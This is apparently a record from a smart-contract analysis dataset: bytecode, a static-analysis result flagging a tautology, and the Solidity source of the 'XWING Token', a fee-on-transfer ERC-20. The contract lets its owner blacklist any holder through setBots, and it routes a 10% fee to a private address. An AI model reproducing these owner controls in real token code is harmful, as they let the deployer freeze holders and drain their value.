6815260200190815260200160002060008154809291906001019190505550826004600089815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006006600089815260200190815260200160002060006101000a81548160ff021916908315150217905550600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef828489604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a160008273ffffffffffffffffffffffffffffffffffffffff16141515613383578173ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f1935050505015801561337d573d6000803e3d6000fd5b506133ec565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f193505050501580156133ea573d6000803e3d6000fd5b505b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015613453573d6000803e3d6000fd5b50848434030390508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156134a1573d6000803e3d6000fd5b5050505050505050565b6004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561351857600080fd5b600115156006600083815260200190815260200160002060009054906101000a900460ff16151514151561354b57600080fd5b6000821415151561355b57600080fd5b8160056000838152602001908152602001600020819055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008273ffffffffffffffffffffffffffffffffffffffff16600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600080600080600080600060011515601260008b815260200190815260200160002060009054906101000a900460ff1615151415613ca857600f60008a815260200190815260200160002054965087871115151561366657600080fd5b60026015548881151561367557fe5b0481151561367f57fe5b04955085868803039450339350601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555083600e60008b815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601260008b815260200190815260200160002060006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415156137e057601360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055505b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a858b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1600a601060008b81526020019081526020016000205481151561389e57fe5b049250600a831015806138c557506001601160008b81526020019081526020016000205410155b1561390657600460006006815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613acf565b60008310158015613918575060028311155b1561395957600460006005815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613ace565b6002831015801561396b575060048311155b156139ac57600460006004815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613acd565b600483101580156139be575060068311155b156139ff57600460006003815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613acc565b60068310158015613a11575060088311155b15613a5257600460006002815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613acb565b60088310158015613a645750600a8311155b15613aa557600460006001815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613aca565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505b5b5b5b5b5b8973ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015613b15573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f19350505050158015613b7d573d6000803e3d6000fd5b5060008273ffffffffffffffffffffffffffffffffffffffff16141515613bea578173ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f19350505050158015613be4573d6000803e3d6000fd5b50613c53565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f19350505050158015613c51573d6000803e3d6000fd5b505b8586868a03030390508373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613ca2573d6000803e3d6000fd5b50613cf0565b8373ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f19350505050158015613cee573d6000803e3d6000fd5b505b50505050505050505050565b6000613d06614089565b6000608060405190810160405280898152602001888152602001871515815260200186151581525091506001600d8390806001815401808255809150509060018203906000526020600020906003020160009091929091909150600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555060608201518160020160016101000a81548160ff02191690831515021790555050500390508063ffffffff1681141515613dcd57600080fd5b8860116000838152602001908152602001600020819055506002878901811515613df357fe5b04601060008381526020019081526020016000208190555060006014600083815260200190815260200160002060006101000a81548160ff0219169083151502179055507fe3e9cb4c9675332e1e71c04808555c8071daa68327830cac01cc33d4087a64e98482604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1613eae60008583613ebd565b80925050509695505050505050565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555081600e600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515613fe557601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055505b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b608060405190810160405280600081526020016000815260200160001515815260200160001515815250905600a165627a7a7230582020cb8707954929e8e8b4f06b486d3f89b375da7e06df9920b5091cf7e5709b380029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,124 |
0xc09f35a31d4b910e89f8e002ae63ab7ff7ccb7bf
|
/*
// SPDX-License-Identifier: Unlicensed
XWING
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract XWING is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"XWING Token";
string private constant _symbol = unicode"XWING";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (17 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf914610372578063d543dbeb14610387578063dd62ed3e146103a757600080fd5b8063b515566a1461033d578063c3c8cd801461035d57600080fd5b8063715018a61461029a5780638da5cb5b146102af57806395d89b41146102d7578063a9059cbb1461031d57600080fd5b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102455780636fc3eaec1461026557806370a082311461027a57600080fd5b8063273123b714610207578063313ce5671461022957600080fd5b806306fdde0314610139578063095ea7b31461019157806318160ddd146101c157806323b872dd146101e757600080fd5b3661013457005b600080fd5b34801561014557600080fd5b5060408051808201909152600b81527f5857494e4720546f6b656e00000000000000000000000000000000000000000060208201525b6040516101889190611cea565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611b53565b6103ed565b6040519015158152602001610188565b3480156101cd57600080fd5b50683635c9adc5dea000005b604051908152602001610188565b3480156101f357600080fd5b506101b1610202366004611b12565b610404565b34801561021357600080fd5b50610227610222366004611a9f565b61046d565b005b34801561023557600080fd5b5060405160098152602001610188565b34801561025157600080fd5b50610227610260366004611c69565b61050b565b34801561027157600080fd5b506102276105b2565b34801561028657600080fd5b506101d9610295366004611a9f565b6105df565b3480156102a657600080fd5b50610227610601565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610188565b3480156102e357600080fd5b5060408051808201909152600581527f5857494e47000000000000000000000000000000000000000000000000000000602082015261017b565b34801561032957600080fd5b506101b1610338366004611b53565b6106bd565b34801561034957600080fd5b50610227610358366004611b7f565b6106ca565b34801561036957600080fd5b506102276107ae565b34801561037e57600080fd5b506102276107e4565b34801561039357600080fd5b506102276103a2366004611ca3565b610ca8565b3480156103b357600080fd5b506101d96103c2366004611ad9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fa338484610dac565b5060015b92915050565b6000610411848484610f04565b610463843361045e85604051806060016040528060288152602001611f5f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112b3565b610dac565b5060019392505050565b6000546001600160a01b031633146104cc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0316600090815260066020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b6000546001600160a01b031633146105655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b6010805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b600e546001600160a01b0316336001600160a01b0316146105d257600080fd5b476105dc816112ed565b50565b6001600160a01b0381166000908152600260205260408120546103fe90611327565b6000546001600160a01b0316331461065b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60006103fa338484610f04565b6000546001600160a01b031633146107245760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b60005b81518110156107aa5760016006600084848151811061074857610748611edd565b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055806107a281611e75565b915050610727565b5050565b600e546001600160a01b0316336001600160a01b0316146107ce57600080fd5b60006107d9306105df565b90506105dc816113be565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b60105474010000000000000000000000000000000000000000900460ff16156108a95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c3565b600f80547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108fe3082683635c9adc5dea00000610dac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561093757600080fd5b505afa15801561094b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096f9190611abc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109b757600080fd5b505afa1580156109cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ef9190611abc565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a4f57600080fd5b505af1158015610a63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a879190611abc565b601080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03928316179055600f541663f305d7194730610acf816105df565b600080610ae46000546001600160a01b031690565b60405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b5f57600080fd5b505af1158015610b73573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b989190611cbc565b505060108054678ac7230489e800006011557fffffffffffffffff0000ff00ffffffffffffffffffffffffffffffffffffffff81167701010001000000000000000000000000000000000000000017909155600f546040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529116915063095ea7b390604401602060405180830381600087803b158015610c7057600080fd5b505af1158015610c84573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa9190611c86565b6000546001600160a01b03163314610d025760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b60008111610d525760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104c3565b610d716103e8610d6b683635c9adc5dea00000846115c1565b9061165c565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610e275760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104c3565b6001600160a01b038216610ea35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104c3565b6001600160a01b038216610ffc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104c3565b600081116110725760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f000000000000000000000000000000000000000000000060648201526084016104c3565b6000546001600160a01b0384811691161480159061109e57506000546001600160a01b03838116911614155b15611256576001600160a01b03831660009081526006602052604090205460ff161580156110e557506001600160a01b03821660009081526006602052604090205460ff16155b6110ee57600080fd5b6010546001600160a01b0384811691161480156111195750600f546001600160a01b03838116911614155b801561113e57506001600160a01b03821660009081526005602052604090205460ff16155b8015611167575060105477010000000000000000000000000000000000000000000000900460ff165b156111c45760115481111561117b57600080fd5b6001600160a01b038216600090815260076020526040902054421161119f57600080fd5b6111aa426011611dce565b6001600160a01b0383166000908152600760205260409020555b60006111cf306105df565b6010549091507501000000000000000000000000000000000000000000900460ff1615801561120c57506010546001600160a01b03858116911614155b80156112345750601054760100000000000000000000000000000000000000000000900460ff165b1561125457611242816113be565b47801561125257611252476112ed565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061129857506001600160a01b03831660009081526005602052604090205460ff165b156112a1575060005b6112ad8484848461169e565b50505050565b600081848411156112d75760405162461bcd60e51b81526004016104c39190611cea565b5060006112e48486611e5e565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107aa573d6000803e3d6000fd5b60006008548211156113a15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e730000000000000000000000000000000000000000000060648201526084016104c3565b60006113ab6116cc565b90506113b7838261165c565b9392505050565b601080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061143357611433611edd565b6001600160a01b03928316602091820292909201810191909152600f54604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b1580156114a057600080fd5b505afa1580156114b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d89190611abc565b816001815181106114eb576114eb611edd565b6001600160a01b039283166020918202929092010152600f546115119130911684610dac565b600f546040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063791ac94790611563908590600090869030904290600401611d5d565b600060405180830381600087803b15801561157d57600080fd5b505af1158015611591573d6000803e3d6000fd5b5050601080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b6000826115d0575060006103fe565b60006115dc8385611e21565b9050826115e98583611de6565b146113b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f770000000000000000000000000000000000000000000000000000000000000060648201526084016104c3565b60006113b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ef565b806116ab576116ab61171d565b6116b684848461174b565b806112ad576112ad600c54600a55600d54600b55565b60008060006116d9611842565b90925090506116e8828261165c565b9250505090565b600081836117105760405162461bcd60e51b81526004016104c39190611cea565b5060006112e48486611de6565b600a5415801561172d5750600b54155b1561173457565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061175d87611884565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061178f90876118e1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117be9086611923565b6001600160a01b0389166000908152600260205260409020556117e081611982565b6117ea84836119cc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182f91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061185e828261165c565b82101561187b57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118a18a600a54600b546119f0565b92509250925060006118b16116cc565b905060008060006118c48e878787611a3f565b919e509c509a509598509396509194505050505091939550919395565b60006113b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b3565b6000806119308385611dce565b9050838110156113b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c3565b600061198c6116cc565b9050600061199a83836115c1565b306000908152600260205260409020549091506119b79082611923565b30600090815260026020526040902055505050565b6008546119d990836118e1565b6008556009546119e99082611923565b6009555050565b6000808080611a046064610d6b89896115c1565b90506000611a176064610d6b8a896115c1565b90506000611a2f82611a298b866118e1565b906118e1565b9992985090965090945050505050565b6000808080611a4e88866115c1565b90506000611a5c88876115c1565b90506000611a6a88886115c1565b90506000611a7c82611a2986866118e1565b939b939a50919850919650505050505050565b8035611a9a81611f3b565b919050565b600060208284031215611ab157600080fd5b81356113b781611f3b565b600060208284031215611ace57600080fd5b81516113b781611f3b565b60008060408385031215611aec57600080fd5b8235611af781611f3b565b91506020830135611b0781611f3b565b809150509250929050565b600080600060608486031215611b2757600080fd5b8335611b3281611f3b565b92506020840135611b4281611f3b565b929592945050506040919091013590565b60008060408385031215611b6657600080fd5b8235611b7181611f3b565b946020939093013593505050565b60006020808385031215611b9257600080fd5b823567ffffffffffffffff80821115611baa57600080fd5b818501915085601f830112611bbe57600080fd5b813581811115611bd057611bd0611f0c